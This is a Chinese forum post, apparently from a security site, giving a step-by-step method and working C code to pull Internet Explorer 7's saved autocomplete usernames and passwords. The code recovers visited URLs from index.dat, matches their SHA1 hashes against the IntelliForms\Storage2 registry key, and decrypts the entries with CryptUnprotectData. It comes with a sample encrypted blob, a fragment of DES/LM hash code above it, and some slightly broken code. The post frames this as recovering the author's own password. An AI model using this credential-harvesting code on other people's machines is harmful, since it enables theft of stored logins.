a2=(d4>>8)&amp;0xff;            d1=d1>>0x10;            a3=DESSpBox2[a1/4];            d3=d3^a3;            a1=(d1>>8)&amp;0xff;            d4=d4>>0x10;            a3=DESSpBox4[a2/4];            d3=d3^a3;            a2=(d4>>8)&amp;0xff;            d1=d1&amp;0xff;            d4=d4&amp;0xff;            a1=DESSpBox7[a1/4];            d3=d3^a1;            a1=DESSpBox8[a2/4];            d3=d3^a1;            a1=DESSpBox5[d1/4];            d3=d3^a1;            a1=DESSpBox6[d4/4];            d3=d3^a1;        }        d3=(d3>>1)|(d3<<0x1f);        d1=d2;        d2=(d2^d3)&amp;0XAAAAAAAA;        d1=d1^d2;        d3=d3^d2;        d1=(d1<<0x17)|(d1>>9);        d2=d1;        d1=(d1^d3)&amp;0x3fc03fc;        d2=(d2^d1);        d3=d3^d1;        d2=(d2<<0xa)|(d2>>0x16);        d1=d2;        d2=(d2^d3)&amp;0x33333333;        d1=d1^d2;        d3=d3^d2;        d3=(d3<<0x12)|(d3>>0xe);        d2=d3;        d3=(d3^d1)&amp;0xfff0000f;        d2=d2^d3;        d1=d1^d3;        d2=(d2<<0xc)|(d2>>0x14);        d3=d2;        d2=(d2^d1)&amp;0xf0f0f0f0;        d3=d3^d2;        d1=d1^d2;        d1=(d1>>4)|(d1<<0x1c);        *(DWORD *)LM=d1;        *(DWORD *)(LM+4)=d3;    }}


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

IE7如何自动完成口令获取
前一阵子自己邮箱的口令忘记了,为了找回邮箱口令到网上找了好多密码找回的工具,发现在IE7下都不好使,迫于无奈,只好自己研究了,通过Google和OllyDbg,用了1整天时间终于弄清楚了IE7下的自动完成口令获取方法,不敢独享,特公布如下,希望能对大家有帮助。自Internet Explorer 7.0开始,微软完全改变了密码保存的方式,将网站的URL保存于历史文件中,将自动完成的密码保存于注册表中的以下位置: HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerIntelliFormsStorage2。要获取IE7的自动完成口令就需要同时获取IE7环境下历史文件夹中的URL记录和注册表HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerIntelliFormsStorage2下的密码信息。以下是IE7自动完成口令获取的步骤: 1、用ShGetSpecialFolder获取History文件夹路径2、枚举History文件夹下的index.dat文件,并从index.dat文件中提取访问过的网站URL。index.dat文件结构:文件头32字节从文件的第0x5000地址处开始存放的是访问过的网站信息,网站信息顺序存放,每个网站数据块结构为:struct Web{const char Tag[4]; //4个字节的标志,内容为"URL ",可作为数据是否正确的判断。int LenNumber;  //该数据块的长度指数,数据块的长度为LenNumber*128char unknown[44]; //44字节的未知数据int DataPos;  //Visited:字段相对于该结构块头的偏移值,即&amp;Web+DataPos就指向Visited了  char unknown[];  //不定长度未知数据,不过据观察似乎上述DataPos都是一样的,那这个也应该定长了,算了,不管他,安全起见,就当不定长了const char Tag1[8];     //"Visited:"char Data[];  //结构 XXX@????,其中XXX是用户名,???就是URL,可以从Visited处搜索@来定位char Unknown[];  //长度不定};注意,上述结构中的URL是ANSI形式的3、打开注册表HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerIntelliFormsStorage2,枚举其Values注册表该位置保存的是IE7自动完成的用户名密码之类,其中ValueName就是经过Hash的网站的URL,ValueData就是加密的用户名密码之类了。4、对第2步获取的URL依次进行Hash,然后用其Hash值依次与第三步中获取的ValueName进行比较,一致的就是该URL的信息如果一致,就对ValueData进行解密。ValueData解密后数据结构struct ValueData{int HeadLen;//4字节,用来表示该数据结构的头部长度。int DataPos;//真正的数据相对于数据结构头部的偏移,即:&amp;ValueData+HeadLen+DataPos就指向有效数据了int DataLen;//有效数据的长度char unknown[];wchar UserName[]; wchar Password[]; };HeadLen+HeadLen+DataPos=sizeof(ValueData);注:1、Hash算法://Algorithm=0x8004//0x8004=ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA1=CALG_SHA1,原来采用的是CALG_SHA1算法//注意:此处这个DataLen是带Unicode的结尾的0的BOOL HashData(WCHAR *pData,int DataLen, char *pHashData,int *pHashLen,int Algorithm) { BOOL bResult = TRUE; HCRYPTPROV hProv = NULL; HCRYPTHASH hHash = NULL; DWORD dwLength; // Get handle to user default provider. if (CryptAcquireContext(&amp;hProv, NULL, NULL, PROV_RSA_FULL, 0))//0xF0000000)) //两个都行,不知道最后一个参数是干什么的{   // Create hash object.   if (CryptCreateHash(hProv, Algorithm, 0, 0, &amp;hHash))   {   // Hash password string.    if (CryptHashData(hHash, (BYTE *)pData, DataLen, 0))    {     CryptGetHashParam(hHash,2,(BYTE*)pHashData,(DWORD*)pHashLen,0);    }    else    {     // Error during CryptHashData!     bResult = FALSE;    }    CryptDestroyHash(hHash); // Destroy session key.   }   else   {    // Error during CryptCreateHash!    bResult = FALSE;   }   CryptReleaseContext(hProv, 0); } return bResult; } 2、解密算法:unsigned char pcryptdata[]={ //注册表中提取出来的ValueData,即加密过的用户名密码等信息0x01,0x00,0x00,0x00,0xD0,0x8C,0x9D,0xDF,0x01,0x15,0xD1,0x11,0x8C,0x7A,0x00,0xC0,0x4F,0xC2,0x97,0xEB,0x01,0x00,0x00,0x00,0x58,0x26,0xE4,0x1A,0x81,0x86,0x2F,0x4D,0xA9,0x19,0x95,0xED,0x94,0x6F,0xC5,0x2A,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x03,0x66,0x00,0x00,0xA8,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0xB5,0x67,0x51,0xE5,0x1A,0x73,0x67,0x75,0x0F,0x84,0xF2,0x97,0xCE,0x07,0x21,0x31,0x00,0x00,0x00,0x00,0x04,0x80,0x00,0x00,0xA0,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x75,0xFB,0x3F,0xC8,0x4C,0x7F,0xDB,0xBA,0xC8,0x27,0xD9,0xC0,0x64,0xD8,0x05,0xEF,0x68,0x00,0x00,0x00,0x50,0x63,0x0F,0x8B,0x7B,0xBC,0xDF,0x96,0xFD,0xE4,0x11,0xEB,0x97,0x43,0xD8,0x4E,0x7C,0xB6,0x96,0x55,0xA6,0xB5,0x50,0x41,0x5D,0xD5,0xA7,0x4B,0xFA,0x16,0x4E,0x65,0xF5,0xB6,0x0D,0xC5,0xC1,0xCE,0xEB,0x3D,0x28,0x79,0xA2,0xBD,0xAA,0x97,0x9D,0x31,0xE8,0x84,0xBD,0xC5,0x49,0x74,0x64,0x40,0xFA,0x09,0xE5,0x2C,0x0F,0x27,0xD7,0x65,0x9D,0xAF,0x39,0x80,0x89,0x70,0x4C,0x43,0x65,0x5F,0xDC,0x0A,0xF1,0x7E,0x8E,0x35,0x61,0x4F,0xDB,0x84,0xFC,0x50,0xE7,0x96,0x1A,0xAE,0x12,0x82,0x2D,0xE6,0x3A,0x0A,0x86,0xA7,0xA7,0x60,0x30,0x99,0x54,0xA7,0x14,0x00,0x00,0x00,0x5B,0xA4,0x89,0xFF,0xE6,0x48,0x4B,0x05,0x28,0xCF,0xFF,0x28,0xDC,0x11,0x46,0xCB,0x26,0x5D,0x9A,0x0F};WCHAR Test[]=L"http://www.ershou.net/userlogin.aspx";   //通过对URL进行HASH并与ValueName进行比对获取的URL地址DATA_BLOB DataOut;if(Decrypt(Test,74,pcryptdata,0xf2,&amp;DataOut)){  for(int i=0;i<DataOut.cbData;i++)  {   printf("%c",DataOut.pbData);  }  printf("
Over:)
");}bool Decrypt(WCHAR *pURL,int URLLen,unsigned char * pCryptedData,int CryptedLen,DATA_BLOB *pDataOut)//解密用{DATA_BLOB DataIn;//DATA_BLOB DataOut;DATA_BLOB DescrOut;DataIn.pbData=pCryptedData;DataIn.cbData=CryptedLen;DescrOut.cbData=URLLen;DescrOut.pbData=(unsigned char *)pURL;if(CryptUnprotectData(&amp;DataIn,NULL,&amp;DescrOut,NULL,NULL,0,pDataOut)){  //pBuffer=DataOut.pbData;  return true;}else  return false;}


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表